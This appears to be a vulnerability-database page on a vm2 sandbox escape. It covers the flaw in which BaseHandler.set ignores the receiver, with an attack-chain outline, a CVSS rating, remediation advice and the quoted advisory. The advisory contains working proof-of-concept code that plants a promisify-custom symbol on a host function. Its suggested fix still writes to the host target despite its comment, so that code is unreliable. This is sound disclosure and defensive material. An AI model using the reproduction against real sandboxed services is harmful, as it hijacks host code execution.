Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconSubmit untrusted JS to vm2 host
-
DeliveryObtain reference to bridged host object
-
ExploitCreate child via Object.create(hostObj)
-
InstallAssign Symbol.for('nodejs.util.promisify.custom') on child
-
C2Property leaks through BaseHandler.set to host
-
ExecuteHost calls util.promisify(hostObj)()
-
ImpactAttacker function executes in host realm
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Protection mechanism completeness
|
| Exploitation Conditions | Exploitation requires (1) the target application uses vm2 ≤ 3.11.3 to execute untrusted JavaScript, (2) the embedder exposes at least one host-realm object or function to the sandbox via |
| Impact | CVSS 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N) reflects high integrity impact with scope change and no privileges or user interaction required - appropriate for a sandbox escape where untrusted sandbox code crosses the security boundary into the host realm. The 'AV:N' is essentially nominal: real-world preconditions require an embedder to already be evaluating untrusted JavaScript through vm2 and to subsequently dispatch through a polluted host object (e.g., |
| Exploit ScenarioDerived | An application uses vm2 ≤ 3.11.3 to evaluate user-supplied JavaScript (a common pattern in low-code platforms, serverless function gateways, code-playgrounds, or untrusted-plugin runners) and exposes a host function such as |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 29, 2026
Sandbox escape in vm2 (npm) versions ≤ 3.11.3 allows untrusted code running inside the VM to write arbitrary properties - including dangerous Symbol-keyed properties like nodejs.util.promisify.custom - onto host-realm objects via a Proxy set-trap receiver-handling flaw. Because any inheriting child object (Object.create(hostObj)) becomes a write channel into the host, attackers can hijack host control flow when the host later dispatches through the polluted slot, escalating from sandbox integrity loss to host-realm code execution. Publicly documented reproduction exists in the GHSA advisory; no public exploit identified at time of analysis and not on the CISA KEV list.
RemediationAI
Vendor-released patch: upgrade vm2 to 3.11.4 or later (https://github.com/patriksimek/vm2/releases/tag/v3.11.4), which contains the receiver-gated install-on-receiver fix in lib/bridge.js (commit 26d0318b5e6555be4b187ba05d6cf378ccecfe22) mirroring ReadOnlyHandler.set semantics. Run npm ls vm2 (and check transitive lockfiles such as package-lock.json/yarn.lock) to identify direct and indirect consumers, then npm install vm2@^3.11.4 and rebuild deployment artifacts. Note that vm2 has been deprecated by the maintainer in favor of isolated-vm; teams should evaluate migrating to a V8-isolate-based sandbox rather than relying on Proxy-bridge designs, as this class of cross-realm property-trap bug has recurred repeatedly. If immediate patching is impossible, the only effective compensating control is to stop passing host-realm objects/functions into the sandbox (no setGlobal/sandbox of host functions; instead expose only primitives or deep-cloned plain-data) - bridge-side patching cannot be retrofitted from outside the library; broad mitigations like 'restrict who can submit code' help reduce exposure but do not close the bug. Refer to the GHSA advisory and ATTACKS.md Category 32 for the full primitive list.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 is a Node.js sandbox library (pkg:npm/vm2) that uses ES2015 Proxy-based bridges to mediate every reference flowing between the sandbox realm and the host realm. ECMA-262 §9.5.9 specifies that a Proxy [[Set]] trap receives a Receiver argument identifying the original recipient of the assignment, and the trap must install the property on the receiver (not the proxy target) when Receiver !== proxy - i.e., when the write reaches the proxy via prototype-chain walking. In lib/bridge.js, BaseHandler.set discarded receiver and unconditionally invoked otherReflectSet(object, key, value) against the wrapped host object, violating the spec. The root-cause class is CWE-693 (Protection Mechanism Failure): the bridge's write-side guards assume direct proxy.x = v writes through the canonical proxy receiver, but inherited-receiver writes silently bypassed those guards. Sibling traps (ReadOnlyHandler.set, ProtectedHandler.set) coincidentally honored receiver, so BaseHandler was the lone divergent path covering every non-intrinsic host object the embedder exposes.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
DescriptionCVE.org
Summary
The BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object.
This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path.
Vulnerable Code
// bridge.js:1231-1260
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
// ...
try {
value = otherFromThis(value);
return otherReflectSet(object, key, value) === true;
// BUG: 'receiver' is never used.
// Should check if receiver !== proxy and handle accordingly.
} catch (e) {
throw thisFromOtherForThrow(e);
}
}Impact
Sandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:
// Sandbox code
const child = Object.create(hostObj);
child.injectedProp = 'attacker-value';
// hostObj now has 'injectedProp' on the HOST sideCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFunction);
child[kCustom] = function() {
return Promise.resolve('attacker-controlled');
};
// Host: util.promisify(hostFunction)() returns 'attacker-controlled'Reproduction
const { VM } = require('vm2');
const util = require('util');
const vm = new VM();
const hostFn = function api(cb) { cb(null, 'ok'); };
vm.setGlobal('hostFn', hostFn);
vm.run(`
const kCustom = Symbol.for('nodejs.util.promisify.custom');
const child = Object.create(hostFn);
child[kCustom] = function() {
return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');
};
`);
// Host side
const promisified = util.promisify(hostFn);
promisified('test').then(r => console.log(r));
// Output: EXPLOITED-VIA-RECEIVER-BUGSuggested Fix
set(target, key, value, receiver) {
validateHandlerTarget(this, target);
const object = getHandlerObject(this);
if (isProtectedHostObject(object)) throw new VMError(OPNA);
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
if (key === '__proto__' && !thisOtherHasOwnProperty(object, key)) {
return this.setPrototypeOf(target, value);
}
if (key === 'constructor' && thisArrayIsArray(object)) {
thisReflectSet(target, key, value);
return true;
}
try {
value = otherFromThis(value);
// When receiver is not the proxy itself, set on receiver (this-realm)
// instead of the host target to preserve prototype-chain semantics.
return otherReflectSet(object, key, value) === true;
} catch (e) {
throw thisFromOtherForThrow(e);
}
}Blast Radius
ecosystem impact- 5 npm packages depend on vm2 (4 direct, 1 indirect)
Ecosystem-wide dependent count for version 3.11.4.
Executive ViewAI
vm2 (Node.js package versions ≤3.11.3) contains a sandbox escape vulnerability that allows untrusted code running within the isolated environment to execute arbitrary code on the host system. Organizations using vm2 to execute untrusted or user-supplied code face complete loss of sandbox isolation, creating a direct path for attackers to compromise application servers and access sensitive data.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2026-36440
GHSA-c4cf-2hgv-2qv6
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB